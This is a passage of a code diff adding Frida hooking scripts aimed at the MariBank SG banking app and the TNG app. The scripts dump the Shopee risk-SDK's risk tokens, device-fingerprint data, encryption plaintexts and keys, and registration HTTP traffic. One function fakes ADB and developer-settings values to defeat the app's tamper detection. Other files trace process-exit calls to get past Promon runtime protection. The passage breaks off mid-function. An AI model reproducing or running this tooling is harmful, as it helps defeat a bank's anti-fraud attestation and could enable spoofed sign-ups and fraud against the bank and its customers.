|| low.indexOf('risktoken') >= 0 || low.indexOf('register') >= 0
|
||||
|| low.indexOf('4067') >= 0) {
|
||||
const show = ret.length > MAX_STR ? ret.substring(0, MAX_STR) + '...' : ret;
|
||||
log('Gson.toJson ' + show);
|
||||
}
|
||||
}
|
||||
return ret;
|
||||
};
|
||||
log('hooked Gson.toJson');
|
||||
}
|
||||
|
||||
function hookRisk() {
|
||||
const vv = Java.use('com.shopee.shpssdkbank.uwuvuvvww.vvuuuuvvv');
|
||||
vv.wwvuwuwvu.overload('android.content.Context').implementation = function (ctx) {
|
||||
const ret = this.wwvuwuwvu(ctx);
|
||||
dumpJava('riskToken', ret);
|
||||
return ret;
|
||||
};
|
||||
log('hooked vvuuuuvvv.wwvuwuwvu');
|
||||
}
|
||||
|
||||
function hookEncryptWrapper() {
|
||||
const D = Java.use('com.shopee.bke.lib.jni.utils.d');
|
||||
const methods = D.class.getDeclaredMethods();
|
||||
for (let i = 0; i < methods.length; i++) {
|
||||
const m = methods[i];
|
||||
const name = m.getName();
|
||||
if (m.getModifiers() & 0x0100) continue;
|
||||
try {
|
||||
D[name].overloads.forEach(function (ovl) {
|
||||
ovl.implementation = function () {
|
||||
const args = [].slice.call(arguments);
|
||||
log('>> EncryptWrapper.' + name);
|
||||
args.forEach(function (a, idx) { dumpJava(' in' + idx, a); });
|
||||
const ret = ovl.apply(this, args);
|
||||
if (ret && ret.getClass) {
|
||||
const cn = ret.getClass().getName();
|
||||
if (cn === '[Ljava.lang.String;') {
|
||||
const arr = Java.cast(ret, Java.use('[Ljava.lang.String;'));
|
||||
for (let j = 0; j < arr.length; j++) dumpJava(' out' + j, arr[j]);
|
||||
} else {
|
||||
dumpJava(' ret', ret);
|
||||
}
|
||||
}
|
||||
return ret;
|
||||
};
|
||||
});
|
||||
} catch (e) {}
|
||||
}
|
||||
log('hooked NativeEncryptUtilsWrapper (utils.d)');
|
||||
}
|
||||
|
||||
function installAll() {
|
||||
Java.perform(function () {
|
||||
log('Java.perform OK pid=' + Process.id);
|
||||
try { hookOkHttp(); } catch (e) { log('okhttp fail: ' + e); }
|
||||
try { hookGson(); } catch (e) { log('gson fail: ' + e); }
|
||||
try { hookRisk(); } catch (e) { log('risk fail: ' + e); }
|
||||
try { hookEncryptWrapper(); } catch (e) { log('encrypt fail: ' + e); }
|
||||
log('READY — 请在 App 输入号码点 Next');
|
||||
});
|
||||
}
|
||||
|
||||
function waitForJava(n) {
|
||||
n = n || 0;
|
||||
if (typeof Java === 'undefined' || !Java.available) {
|
||||
if (n % 5 === 0) log('waiting Java.available attempt=' + n);
|
||||
setTimeout(function () { waitForJava(n + 1); }, 500);
|
||||
return;
|
||||
}
|
||||
installAll();
|
||||
}
|
||||
|
||||
setImmediate(function () {
|
||||
log('script loaded pid=' + Process.id);
|
||||
waitForJava(0);
|
||||
});
|
||||
634
reverse/frida/trace_maribank_sg_native.js
Normal file
634
reverse/frida/trace_maribank_sg_native.js
Normal file
@@ -0,0 +1,634 @@
|
||||
'use strict';
|
||||
/**
|
||||
* MariBank SG 3.2.2 — Java + native attestation / encrypt trace
|
||||
* Package: sg.com.maribankmobile.digitalbank
|
||||
*
|
||||
* SG 差异: 无 utils.d / com.shopee.shpssdk.*,仅 shpssdkbank + uvwuvwuv
|
||||
*/
|
||||
const TAG = '[MB-NATIVE]';
|
||||
const MAX_STR = 4000;
|
||||
const MAX_BYTES_LOG = 8192;
|
||||
const HOOKED_NATIVE_PTRS = {};
|
||||
|
||||
const JAVA_TARGETS = [
|
||||
'com.shopee.shpssdkbank.wvvvuwwu',
|
||||
'com.shopee.shpssdkbank.uwuvuvvww.vvuuuuvvv',
|
||||
'com.shopee.shpssdkbank.uwuvuvvww.uvwuuuuuw.vvvvuwwvu',
|
||||
'com.shopee.shpssdkbank.uwuvuvvww.wvvuuwvwu',
|
||||
'com.shopee.shpssdkbank.uvuwwuvwv.uvwwuuvvw',
|
||||
'com.shopee.bke.lib.jni.utils.uvwuvwuv',
|
||||
'com.shopee.bke.lib.jni.utils.uvwwwwuv',
|
||||
'com.shopee.shpssdkbank.SHPSSDK',
|
||||
];
|
||||
|
||||
const SO_WATCH = [
|
||||
'libshpssdk_bank.so',
|
||||
'libshpssdk.so',
|
||||
'libsdkutils.so',
|
||||
'libbkutils.so',
|
||||
];
|
||||
|
||||
function log(msg) {
|
||||
send(TAG + ' ' + msg);
|
||||
}
|
||||
|
||||
function jniFn(envPtr, index, ret, args) {
|
||||
const funcs = envPtr.readPointer();
|
||||
const addr = funcs.add(index * Process.pointerSize).readPointer();
|
||||
if (!addr || addr.isNull()) return null;
|
||||
return new NativeFunction(addr, ret, args);
|
||||
}
|
||||
|
||||
function jniReadByteArray(envPtr, jarrayPtr) {
|
||||
if (!jarrayPtr || jarrayPtr.isNull()) return null;
|
||||
try {
|
||||
const GetArrayLength = jniFn(envPtr, 171, 'int', ['pointer', 'pointer']);
|
||||
const GetByteArrayElements = jniFn(envPtr, 184, 'pointer', ['pointer', 'pointer', 'pointer']);
|
||||
const ReleaseByteArrayElements = jniFn(envPtr, 187, 'void', ['pointer', 'pointer', 'pointer', 'int']);
|
||||
if (!GetArrayLength || !GetByteArrayElements || !ReleaseByteArrayElements) {
|
||||
return jniReadByteArrayArt(envPtr, jarrayPtr);
|
||||
}
|
||||
const len = GetArrayLength(envPtr, jarrayPtr);
|
||||
if (len <= 0 || len > MAX_BYTES_LOG) return { len: len, hex: '', text: '' };
|
||||
const elems = GetByteArrayElements(envPtr, jarrayPtr, ptr(0));
|
||||
if (!elems || elems.isNull()) return { len: len, hex: '', text: '' };
|
||||
const raw = elems.readByteArray(Math.min(len, MAX_BYTES_LOG));
|
||||
ReleaseByteArrayElements(envPtr, jarrayPtr, elems, 0);
|
||||
return bytesToPreview(raw, len);
|
||||
} catch (e) {
|
||||
return { len: -1, hex: 'err:' + e, text: '' };
|
||||
}
|
||||
}
|
||||
|
||||
function bytesToPreview(raw, len) {
|
||||
const arr = new Uint8Array(raw);
|
||||
let text = '';
|
||||
try {
|
||||
text = String.fromCharCode.apply(null, arr);
|
||||
if (text.indexOf('\u0000') >= 0 || !/^[\x20-\x7e\r\n\t\u4e00-\u9fff\u0100-\u024f]+$/.test(text.substring(0, Math.min(text.length, 200)))) {
|
||||
text = '';
|
||||
}
|
||||
} catch (e) {
|
||||
text = '';
|
||||
}
|
||||
if (text.length > MAX_STR) text = text.substring(0, MAX_STR) + '...';
|
||||
return { len: len, hex: hexPreview(arr, 64), text: text, arr: arr };
|
||||
}
|
||||
|
||||
function jniReadByteArrayArt(envPtr, jarrayPtr) {
|
||||
const art = moduleByName('libart.so');
|
||||
if (!art) return { len: -1, hex: 'err:no-art', text: '' };
|
||||
let sym = null;
|
||||
art.enumerateSymbols().forEach(function (s) {
|
||||
if (sym) return;
|
||||
if (s.name.indexOf('GetByteArrayRegion') >= 0 && s.name.indexOf('JNI') >= 0) {
|
||||
sym = s.address;
|
||||
}
|
||||
});
|
||||
if (!sym) return { len: -1, hex: 'err:no-GetByteArrayRegion', text: '' };
|
||||
const GetLen = jniFn(envPtr, 171, 'int', ['pointer', 'pointer']);
|
||||
const len = GetLen ? GetLen(envPtr, jarrayPtr) : 0;
|
||||
if (len <= 0 || len > MAX_BYTES_LOG) return { len: len, hex: '', text: '' };
|
||||
const buf = Memory.alloc(len);
|
||||
const GetRegion = new NativeFunction(sym, 'void', ['pointer', 'pointer', 'int', 'int', 'pointer']);
|
||||
GetRegion(envPtr, jarrayPtr, 0, len, buf);
|
||||
return bytesToPreview(buf.readByteArray(len), len);
|
||||
}
|
||||
|
||||
function jniReadJstring(envPtr, jstrPtr) {
|
||||
if (!jstrPtr || jstrPtr.isNull()) return '';
|
||||
try {
|
||||
const GetStringUTFChars = jniFn(envPtr, 169, 'pointer', ['pointer', 'pointer', 'pointer']);
|
||||
const ReleaseStringUTFChars = jniFn(envPtr, 170, 'void', ['pointer', 'pointer', 'pointer']);
|
||||
if (!GetStringUTFChars || !ReleaseStringUTFChars) return '';
|
||||
const chars = GetStringUTFChars(envPtr, jstrPtr, ptr(0));
|
||||
if (!chars || chars.isNull()) return '';
|
||||
const s = chars.readCString();
|
||||
ReleaseStringUTFChars(envPtr, jstrPtr, chars);
|
||||
return s || '';
|
||||
} catch (e) {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
function dumpNativeArgs(methodName, sig, envPtr, args) {
|
||||
if (methodName === 'vuwuuwvw' && sig.indexOf('[B[B') >= 0) {
|
||||
const a0 = jniReadByteArray(envPtr, args[2]);
|
||||
const a1 = jniReadByteArray(envPtr, args[3]);
|
||||
if (a0) log(' nat in0 len=' + a0.len + ' hex=' + a0.hex);
|
||||
if (a1) log(' nat in1 len=' + a1.len + ' hex=' + a1.hex);
|
||||
return;
|
||||
}
|
||||
if (methodName === 'uvwuuww') {
|
||||
const plain = jniReadByteArray(envPtr, args[2]);
|
||||
const key = jniReadJstring(envPtr, args[3]);
|
||||
const flag = args[4] ? args[4].toInt32() : 0;
|
||||
if (plain) {
|
||||
log(' nat plain len=' + plain.len + ' hex=' + plain.hex);
|
||||
if (plain.text) log(' nat plain utf8=' + plain.text);
|
||||
}
|
||||
if (key) log(' nat key=' + key + ' flag=' + flag);
|
||||
return;
|
||||
}
|
||||
if (methodName === 'vuwuuuwv' && sig.indexOf('[B[B') >= 0) {
|
||||
const a0 = jniReadByteArray(envPtr, args[2]);
|
||||
const a1 = jniReadByteArray(envPtr, args[3]);
|
||||
if (a0) log(' nat defense in0 len=' + a0.len + ' hex=' + a0.hex);
|
||||
if (a1) log(' nat defense in1 len=' + a1.len + ' hex=' + a1.hex);
|
||||
}
|
||||
}
|
||||
|
||||
function hexPreview(arr, limit) {
|
||||
if (!arr) return '';
|
||||
const n = Math.min(arr.length, limit || 64);
|
||||
let hex = '';
|
||||
for (let i = 0; i < n; i++) {
|
||||
const b = (arr[i] & 0xff).toString(16);
|
||||
hex += (b.length === 1 ? '0' : '') + b;
|
||||
}
|
||||
if (arr.length > n) hex += '...(' + arr.length + ')';
|
||||
return hex;
|
||||
}
|
||||
|
||||
function dumpBytes(label, jobj) {
|
||||
if (jobj === null || jobj === undefined) {
|
||||
log(label + ' = null');
|
||||
return;
|
||||
}
|
||||
try {
|
||||
const arr = Java.cast(jobj, Java.use('[B'));
|
||||
let text = '';
|
||||
try {
|
||||
text = Java.use('java.lang.String').$new(arr, 'UTF-8').toString();
|
||||
} catch (e) {
|
||||
text = '';
|
||||
}
|
||||
const printable = text.length > 0 && text.indexOf('\u0000') < 0;
|
||||
if (printable && (text.indexOf('rdVerifyInfo') >= 0 || text.indexOf('REGISTRATION') >= 0
|
||||
|| text.indexOf('deviceFingerprint') >= 0 || text.length < MAX_STR)) {
|
||||
const show = text.length > MAX_STR ? text.substring(0, MAX_STR) + '...' : text;
|
||||
log(label + ' byte[' + arr.length + '] utf8=' + show);
|
||||
} else {
|
||||
log(label + ' byte[' + arr.length + '] hex=' + hexPreview(arr, 48));
|
||||
}
|
||||
} catch (e) {
|
||||
log(label + ' dump err=' + e);
|
||||
}
|
||||
}
|
||||
|
||||
function dumpJava(label, obj) {
|
||||
if (obj === null || obj === undefined) {
|
||||
log(label + ' = null');
|
||||
return;
|
||||
}
|
||||
try {
|
||||
const cls = obj.getClass().getName();
|
||||
if (cls === '[B') {
|
||||
dumpBytes(label, obj);
|
||||
return;
|
||||
}
|
||||
if (cls === 'java.lang.String') {
|
||||
const s = Java.cast(obj, Java.use('java.lang.String')).toString();
|
||||
const show = s.length > MAX_STR ? s.substring(0, MAX_STR) + '...' : s;
|
||||
log(label + ' String(' + s.length + ') ' + show);
|
||||
return;
|
||||
}
|
||||
if (cls === '[Ljava.lang.String;') {
|
||||
const arr = Java.cast(obj, Java.use('[Ljava.lang.String;'));
|
||||
log(label + ' String[' + arr.length + ']');
|
||||
for (let i = 0; i < arr.length; i++) dumpJava(label + '[' + i + ']', arr[i]);
|
||||
return;
|
||||
}
|
||||
if (cls === '[[B') {
|
||||
const outer = Java.cast(obj, Java.use('[[B'));
|
||||
log(label + ' byte[][] len=' + outer.length);
|
||||
for (let i = 0; i < outer.length; i++) dumpBytes(label + '[' + i + ']', outer[i]);
|
||||
return;
|
||||
}
|
||||
log(label + ' ' + cls + ' = ' + obj.toString());
|
||||
} catch (e) {
|
||||
log(label + ' err=' + e);
|
||||
}
|
||||
}
|
||||
|
||||
function shouldLogRegisterText(s) {
|
||||
if (!s) return false;
|
||||
const low = s.toLowerCase();
|
||||
return low.indexOf('register') >= 0 || low.indexOf('rdverifyinfo') >= 0
|
||||
|| low.indexOf('datakey') >= 0 || low.indexOf('fingerprint') >= 0
|
||||
|| low.indexOf('3100012') >= 0 || s.indexOf('|') >= 0;
|
||||
}
|
||||
|
||||
/* ---------- native: dlopen + RegisterNatives ---------- */
|
||||
|
||||
function moduleExport(moduleName, symbol) {
|
||||
if (typeof Module.getExportByName === 'function') {
|
||||
try {
|
||||
return Module.getExportByName(moduleName, symbol);
|
||||
} catch (e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
if (typeof Module.findExportByName === 'function') {
|
||||
return Module.findExportByName(moduleName, symbol);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
function moduleByName(name) {
|
||||
if (typeof Process.getModuleByName === 'function') {
|
||||
try {
|
||||
return Process.getModuleByName(name);
|
||||
} catch (e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
if (typeof Process.findModuleByName === 'function') {
|
||||
return Process.findModuleByName(name);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
function moduleByAddress(addr) {
|
||||
if (typeof Process.getModuleByAddress === 'function') {
|
||||
try {
|
||||
return Process.getModuleByAddress(addr);
|
||||
} catch (e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
if (typeof Process.findModuleByAddress === 'function') {
|
||||
return Process.findModuleByAddress(addr);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
function hookDlopen() {
|
||||
const names = ['android_dlopen_ext', '__loader_android_dlopen_ext', 'dlopen'];
|
||||
names.forEach(function (sym) {
|
||||
const addr = moduleExport(null, sym);
|
||||
if (!addr) return;
|
||||
Interceptor.attach(addr, {
|
||||
onEnter(args) {
|
||||
try {
|
||||
this.path = args[0].readCString();
|
||||
} catch (e) {
|
||||
this.path = '';
|
||||
}
|
||||
},
|
||||
onLeave() {
|
||||
if (!this.path) return;
|
||||
SO_WATCH.forEach(function (so) {
|
||||
if (this.path.indexOf(so) >= 0) log('dlopen ' + this.path);
|
||||
}, this);
|
||||
},
|
||||
});
|
||||
log('hooked ' + sym);
|
||||
});
|
||||
}
|
||||
|
||||
function findRegisterNatives() {
|
||||
const art = moduleByName('libart.so');
|
||||
if (!art) return null;
|
||||
let found = null;
|
||||
art.enumerateSymbols().forEach(function (sym) {
|
||||
if (found) return;
|
||||
const n = sym.name;
|
||||
if (n.indexOf('RegisterNatives') >= 0
|
||||
&& n.indexOf('CheckJNI') < 0
|
||||
&& n.indexOf('art') >= 0) {
|
||||
found = sym.address;
|
||||
}
|
||||
});
|
||||
return found;
|
||||
}
|
||||
|
||||
function hookNativePtr(className, methodName, sig, fnPtr) {
|
||||
const key = fnPtr.toString();
|
||||
if (HOOKED_NATIVE_PTRS[key]) return;
|
||||
HOOKED_NATIVE_PTRS[key] = true;
|
||||
const mod = moduleByAddress(fnPtr);
|
||||
const modName = mod ? mod.name : '?';
|
||||
const off = mod ? fnPtr.sub(mod.base) : fnPtr;
|
||||
log('RegisterNatives HOOK ' + className + '.' + methodName + sig
|
||||
+ ' @ ' + modName + '+0x' + off.toString(16));
|
||||
|
||||
try {
|
||||
Interceptor.attach(fnPtr, {
|
||||
onEnter(args) {
|
||||
this.mname = methodName;
|
||||
this.msig = sig;
|
||||
this.env = args[0];
|
||||
log('native>> ' + className + '.' + methodName + sig);
|
||||
dumpNativeArgs(methodName, sig, this.env, args);
|
||||
},
|
||||
onLeave(retval) {
|
||||
log('native<< ' + className + '.' + methodName + ' ret=' + retval);
|
||||
},
|
||||
});
|
||||
} catch (e) {
|
||||
log('Interceptor.attach fail ' + methodName + ': ' + e);
|
||||
}
|
||||
}
|
||||
|
||||
function resolveJClassName(jclassPtr) {
|
||||
if (typeof Java === 'undefined' || !Java.available) {
|
||||
return '';
|
||||
}
|
||||
let className = '';
|
||||
const run = (typeof Java.performNow === 'function') ? Java.performNow : Java.perform;
|
||||
try {
|
||||
run(function () {
|
||||
className = Java.cast(jclassPtr, Java.use('java.lang.Class')).getName();
|
||||
});
|
||||
} catch (e) {
|
||||
className = '';
|
||||
}
|
||||
return className;
|
||||
}
|
||||
|
||||
function isInterestingSo(modName) {
|
||||
if (!modName) return false;
|
||||
return modName.indexOf('shpssdk') >= 0
|
||||
|| modName.indexOf('sdkutils') >= 0
|
||||
|| modName.indexOf('bkutils') >= 0;
|
||||
}
|
||||
|
||||
function hookRegisterNatives() {
|
||||
const addr = findRegisterNatives();
|
||||
if (!addr) {
|
||||
log('RegisterNatives symbol not found');
|
||||
return;
|
||||
}
|
||||
Interceptor.attach(addr, {
|
||||
onEnter(args) {
|
||||
const count = args[3].toInt32();
|
||||
const methods = args[2];
|
||||
const clazz = args[1];
|
||||
const className = resolveJClassName(clazz) || '<unknown>';
|
||||
const classHit = className.indexOf('shpssdk') >= 0
|
||||
|| className.indexOf('jni.utils') >= 0
|
||||
|| className.indexOf('bke.lib.jni') >= 0;
|
||||
|
||||
const ptrSize = Process.pointerSize;
|
||||
let loggedClass = false;
|
||||
for (let i = 0; i < count; i++) {
|
||||
const base = methods.add(i * ptrSize * 3);
|
||||
const name = base.readPointer().readCString();
|
||||
const sig = base.add(ptrSize).readPointer().readCString();
|
||||
const fnPtr = base.add(ptrSize * 2).readPointer();
|
||||
const mod = moduleByAddress(fnPtr);
|
||||
const modName = mod ? mod.name : '';
|
||||
if (!classHit && !isInterestingSo(modName)) continue;
|
||||
if (!loggedClass) {
|
||||
log('RegisterNatives class=' + className + ' count=' + count);
|
||||
loggedClass = true;
|
||||
}
|
||||
log(' JNI ' + name + sig + ' -> ' + fnPtr + ' (' + modName + ')');
|
||||
hookNativePtr(className, name, sig, fnPtr);
|
||||
}
|
||||
},
|
||||
});
|
||||
log('hooked RegisterNatives @ ' + addr);
|
||||
}
|
||||
|
||||
/* ---------- Java: hook static native + key methods ---------- */
|
||||
|
||||
function hookJavaMethod(className, clazz, methodName, isNative, retName, isStatic) {
|
||||
try {
|
||||
const overloads = clazz[methodName].overloads;
|
||||
overloads.forEach(function (ovl) {
|
||||
ovl.implementation = function () {
|
||||
const args = [].slice.call(arguments);
|
||||
log('Java>> ' + className + '.' + methodName
|
||||
+ (isStatic ? ' static' : '')
|
||||
+ (isNative ? ' native' : '') + ' args=' + args.length);
|
||||
args.forEach(function (a, idx) { dumpJava(' in' + idx, a); });
|
||||
|
||||
const ret = ovl.apply(this, args);
|
||||
|
||||
if (retName === 'void') {
|
||||
log('Java<< ' + methodName + ' void');
|
||||
} else if (retName === '[B') {
|
||||
dumpBytes(' out', ret);
|
||||
} else if (retName === 'java.lang.String') {
|
||||
dumpJava(' out', ret);
|
||||
} else if (retName === '[[B') {
|
||||
dumpJava(' out', ret);
|
||||
} else if (retName === 'boolean' || retName === 'int' || retName === 'long') {
|
||||
log(' out=' + ret);
|
||||
} else {
|
||||
dumpJava(' out', ret);
|
||||
}
|
||||
return ret;
|
||||
};
|
||||
});
|
||||
log('hooked ' + className + '.' + methodName + ' overloads=' + overloads.length
|
||||
+ (isNative ? ' native' : '') + (isStatic ? ' static' : ''));
|
||||
return 1;
|
||||
} catch (e) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
function hookClassMethods(className, staticOnly, instanceOnly) {
|
||||
let clazz;
|
||||
try {
|
||||
clazz = Java.use(className);
|
||||
} catch (e) {
|
||||
log('skip Java class ' + className + ': ' + e);
|
||||
return 0;
|
||||
}
|
||||
|
||||
const Modifier = Java.use('java.lang.reflect.Modifier');
|
||||
const declared = clazz.class.getDeclaredMethods();
|
||||
let hooked = 0;
|
||||
|
||||
for (let i = 0; i < declared.length; i++) {
|
||||
const m = declared[i];
|
||||
const isStatic = Modifier.isStatic(m.getModifiers());
|
||||
if (staticOnly && !isStatic) continue;
|
||||
if (instanceOnly && isStatic) continue;
|
||||
|
||||
const methodName = m.getName();
|
||||
const isNative = Modifier.isNative(m.getModifiers());
|
||||
const retName = m.getReturnType().getName();
|
||||
hooked += hookJavaMethod(className, clazz, methodName, isNative, retName, isStatic);
|
||||
}
|
||||
return hooked;
|
||||
}
|
||||
|
||||
function hookShpsSdkFacade() {
|
||||
try {
|
||||
const SHPSSDK = Java.use('com.shopee.shpssdkbank.SHPSSDK');
|
||||
['getRiskToken', 'getRiskSync', 'requestDefense', 'assessRisk'].forEach(function (name) {
|
||||
if (!SHPSSDK[name]) return;
|
||||
SHPSSDK[name].overloads.forEach(function (ovl) {
|
||||
ovl.implementation = function () {
|
||||
const args = [].slice.call(arguments);
|
||||
log('Java>> SHPSSDK.' + name);
|
||||
args.forEach(function (a, idx) { dumpJava(' in' + idx, a); });
|
||||
const ret = ovl.apply(this, args);
|
||||
dumpJava(' out', ret);
|
||||
return ret;
|
||||
};
|
||||
});
|
||||
log('hooked SHPSSDK.' + name);
|
||||
});
|
||||
} catch (e) {
|
||||
log('SHPSSDK facade skip: ' + e);
|
||||
}
|
||||
}
|
||||
|
||||
function hookOkHttp() {
|
||||
try {
|
||||
const RealCall = Java.use('okhttp3.RealCall');
|
||||
RealCall.execute.implementation = function () {
|
||||
const req = this.request();
|
||||
const url = req.url().toString();
|
||||
if (url.indexOf('register') >= 0 || url.indexOf('dfp') >= 0 || url.indexOf('uapi') >= 0) {
|
||||
log('HTTP>> ' + req.method() + ' ' + url);
|
||||
}
|
||||
const resp = this.execute.call(this);
|
||||
if (url.indexOf('register') >= 0) {
|
||||
try {
|
||||
const peek = resp.peekBody(Java.use('java.lang.Long').parseLong('1048576'));
|
||||
log('HTTP<< register ' + peek.string());
|
||||
} catch (e) {
|
||||
log('HTTP<< register peek err=' + e);
|
||||
}
|
||||
}
|
||||
return resp;
|
||||
};
|
||||
log('hooked OkHttp RealCall.execute');
|
||||
} catch (e) {
|
||||
log('OkHttp skip: ' + e);
|
||||
}
|
||||
}
|
||||
|
||||
function hookGsonRegister() {
|
||||
try {
|
||||
const Gson = Java.use('com.google.gson.Gson');
|
||||
Gson.toJson.overload('java.lang.Object').implementation = function (obj) {
|
||||
const ret = this.toJson(obj);
|
||||
if (shouldLogRegisterText(ret)) {
|
||||
const show = ret.length > MAX_STR ? ret.substring(0, MAX_STR) + '...' : ret;
|
||||
log('Gson.toJson REGISTRATION len=' + ret.length + ' ' + show);
|
||||
}
|
||||
return ret;
|
||||
};
|
||||
log('hooked Gson.toJson');
|
||||
} catch (e) {
|
||||
log('Gson skip: ' + e);
|
||||
}
|
||||
}
|
||||
|
||||
function hookRiskTokenEntry() {
|
||||
try {
|
||||
const V = Java.use('com.shopee.shpssdkbank.uwuvuvvww.vvuuuuvvv');
|
||||
hookJavaMethod(
|
||||
'com.shopee.shpssdkbank.uwuvuvvww.vvuuuuvvv',
|
||||
V, 'wwvuwuwvu', false, 'java.lang.String', true);
|
||||
} catch (e) {
|
||||
log('vvuuuuvvv skip: ' + e);
|
||||
}
|
||||
}
|
||||
|
||||
function hookEncryptHelper() {
|
||||
hookClassMethods('com.shopee.bke.lib.jni.utils.uvwwwwuv', false, true);
|
||||
}
|
||||
|
||||
function isAdbSettingKey(key) {
|
||||
if (!key) return false;
|
||||
const lower = key.toLowerCase();
|
||||
return lower.indexOf('adb') >= 0
|
||||
|| lower === 'development_settings_enabled'
|
||||
|| lower.indexOf('wireless_debug') >= 0;
|
||||
}
|
||||
|
||||
function hookAdbBypassJava() {
|
||||
try {
|
||||
const fakeInt = function (key) {
|
||||
if (isAdbSettingKey(key)) {
|
||||
log('fake Settings int ' + key + ' -> 0');
|
||||
return 0;
|
||||
}
|
||||
return null;
|
||||
};
|
||||
const fakeStr = function (key) {
|
||||
if (isAdbSettingKey(key)) {
|
||||
log('fake Settings str ' + key + ' -> 0');
|
||||
return '0';
|
||||
}
|
||||
return null;
|
||||
};
|
||||
|
||||
['Global', 'Secure', 'System'].forEach(function (bucket) {
|
||||
const Cls = Java.use('android.provider.Settings$' + bucket);
|
||||
Cls.getInt.overloads.forEach(function (ovl) {
|
||||
ovl.implementation = function () {
|
||||
const key = arguments[1];
|
||||
const f = fakeInt(String(key));
|
||||
if (f !== null) return f;
|
||||
return ovl.apply(this, arguments);
|
||||
};
|
||||
});
|
||||
if (Cls.getString) {
|
||||
Cls.getString.overloads.forEach(function (ovl) {
|
||||
ovl.implementation = function () {
|
||||
const key = arguments[1];
|
||||
const f = fakeStr(String(key));
|
||||
if (f !== null) return f;
|
||||
return ovl.apply(this, arguments);
|
||||
};
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
const SysProp = Java.use('android.os.SystemProperties');
|
||||
SysProp.get.overload('java.lang.String').implementation = function (key) {
|
||||
if (key === 'init.svc.adbd' || key === 'init.svc.adb_wifi') {
|
||||
log('fake SystemProperties ' + key + ' -> stopped');
|
||||
return 'stopped';
|
||||
}
|
||||
return this.get(key);
|
||||
};
|
||||
log('hooked ADB Settings/SystemProperties bypass');
|
||||
} catch (e) {
|
||||
log('ADB Java bypass skip: ' + e);
|
||||
}
|
||||
}
|
||||
|
||||
function installJavaHooks() {
|
||||
hookAdbBypassJava();
|
||||
let total = 0;
|
||||
JAVA_TARGETS.forEach(function (cn) {
|
||||
total += hookClassMethods(cn, true, false);
|
||||
});
|
||||
hookRiskTokenEntry();
|
||||
hookEncryptHelper();
|
||||
hookShpsSdkFacade();
|
||||
hookOkHttp();
|
||||
hookGsonRegister();
|
||||
log('Java hooks installed methods=' + total + ' pid=' + Process.id);
|
||||
log('READY SG — Sign up -> +65 -> Next (watch native>> / Gson / HTTP)');
|
||||
}
|
||||
|
||||
function waitForJava(n) {
|
||||
n = n || 0;
|
||||
if (typeof Java === 'undefined' || !Java.available) {
|
||||
if (n % 10 === 0) log('waiting Java.available attempt=' + n);
|
||||
setTimeout(function () { waitForJava(n + 1); }, 500);
|
||||
return;
|
||||
}
|
||||
Java.perform(function () {
|
||||
installJavaHooks();
|
||||
});
|
||||
}
|
||||
|
||||
setImmediate(function () {
|
||||
log('SG native trace loaded pid=' + Process.id);
|
||||
hookDlopen();
|
||||
hookRegisterNatives();
|
||||
waitForJava(0);
|
||||
});
|
||||
74
reverse/frida/trace_tng_diag_exit.js
Normal file
74
reverse/frida/trace_tng_diag_exit.js
Normal file
@@ -0,0 +1,74 @@
|
||||
/**
|
||||
* Diagnostic: only LOG exit-related calls, do not block.
|
||||
*/
|
||||
"use strict";
|
||||
function log(msg) { send("[TNG-diag] " + msg); }
|
||||
function findExport(mod, name) {
|
||||
try {
|
||||
var m = Process.findModuleByName(mod);
|
||||
if (m) { var a = m.findExportByName(name); if (a) return a; }
|
||||
} catch (e) {}
|
||||
try { return Module.getGlobalExportByName(name); } catch (e2) { return null; }
|
||||
}
|
||||
function bt(ctx) {
|
||||
try {
|
||||
return Thread.backtrace(ctx, Backtracer.FUZZY).map(DebugSymbol.fromAddress).slice(0, 8).join(" <- ");
|
||||
} catch (e) { return "?"; }
|
||||
}
|
||||
|
||||
["_exit", "exit", "abort", "quick_exit"].forEach(function (n) {
|
||||
var a = findExport("libc.so", n);
|
||||
if (!a) return;
|
||||
Interceptor.attach(a, {
|
||||
onEnter: function (args) {
|
||||
log("CALL " + n + "(" + args[0] + ") " + bt(this.context));
|
||||
}
|
||||
});
|
||||
log("watch " + n + " @ " + a);
|
||||
});
|
||||
|
||||
["kill", "tgkill", "raise"].forEach(function (n) {
|
||||
var a = findExport("libc.so", n);
|
||||
if (!a) return;
|
||||
Interceptor.attach(a, {
|
||||
onEnter: function (args) {
|
||||
log("CALL " + n + "(" + args[0] + "," + args[1] + ") " + bt(this.context));
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
var sys = findExport("libc.so", "syscall");
|
||||
if (sys) {
|
||||
Interceptor.attach(sys, {
|
||||
onEnter: function (args) {
|
||||
var nr = args[0].toInt32();
|
||||
if (nr === 93 || nr === 94 || nr === 129 || nr === 131) {
|
||||
log("CALL syscall(" + nr + ") " + bt(this.context));
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// count mprotect EXEC
|
||||
var mp = findExport("libc.so", "mprotect");
|
||||
if (mp) {
|
||||
Interceptor.attach(mp, {
|
||||
onEnter: function (args) {
|
||||
if (args[2].toInt32() & 4) {
|
||||
log("mprotect EXEC " + args[0] + " len=" + args[1]);
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
log("diag ready pid=" + Process.id);
|
||||
setTimeout(function () {
|
||||
var n = 0;
|
||||
Process.enumerateRanges("r-x").forEach(function (r) {
|
||||
var file = r.file ? r.file.path : "anon";
|
||||
if (file.indexOf("/system") === 0 || file.indexOf("/apex") === 0) return;
|
||||
n++;
|
||||
log("RX " + file + " " + r.base + " +" + r.size);
|
||||
});
|
||||
log("app RX ranges=" + n);
|
||||
}, 800);
|
||||
282
reverse/frida/trace_tng_native_exit.js
Normal file
282
reverse/frida/trace_tng_native_exit.js
Normal file
@@ -0,0 +1,282 @@
|
||||
/**
|
||||
* TNG — catch Promon exit after runtime code decrypt (mmap/mprotect RX).
|
||||
* Frida 17 compatible.
|
||||
*/
|
||||
"use strict";
|
||||
|
||||
function log(msg) {
|
||||
send("[TNG-native] " + msg);
|
||||
}
|
||||
|
||||
function findExport(moduleName, name) {
|
||||
try {
|
||||
if (moduleName) {
